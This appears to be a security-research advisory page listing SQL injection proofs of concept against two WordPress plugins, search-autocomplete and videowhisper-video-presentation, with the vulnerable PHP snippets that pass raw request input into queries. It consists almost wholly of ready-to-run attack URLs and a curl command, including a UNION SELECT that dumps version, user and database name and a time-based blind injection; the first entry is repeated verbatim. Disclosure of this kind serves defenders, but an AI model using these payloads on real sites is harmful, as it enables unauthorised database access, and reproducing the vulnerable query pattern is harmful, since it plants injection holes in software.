SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
2011-09-02
PoC
http://www.site.com/wp-content/plugins/search-autocomplete/includes/tags.php?term=-1' UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4--%20
Vulnerable code
if ($_GET['term'] != '') {
...
$titles = $wpdb->get_results("SELECT post_title As name, ID as post_id, guid AS url, 1 cnt FROM ".$wpdb->prefix."posts t WHERE post_status='publish' and (post_type='post' OR post_type='page') and post_date < NOW() and post_title LIKE '%".$_GET['term']."%' ORDER BY post_title"......
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2011-09-02
PoC
http://www.site.com/wp-content/plugins/search-autocomplete/includes/tags.php?term=-1' UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4--%20
Vulnerable code
if ($_GET['term'] != '') {
...
$titles = $wpdb->get_results("SELECT post_title As name, ID as post_id, guid AS url, 1 cnt FROM ".$wpdb->prefix."posts t WHERE post_status='publish' and (post_type='post' OR post_type='page') and post_date < NOW() and post_title LIKE '%".$_GET['term']."%' ORDER BY post_title"......
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2011-09-02
http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
e.g.:
curl --data "s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php
Vulnerable code
$s=$_POST['s'];
...
$sql = "SELECT * FROM $table_name where session='$s' and status='1'";
$session = $wpdb->get_row($sql......
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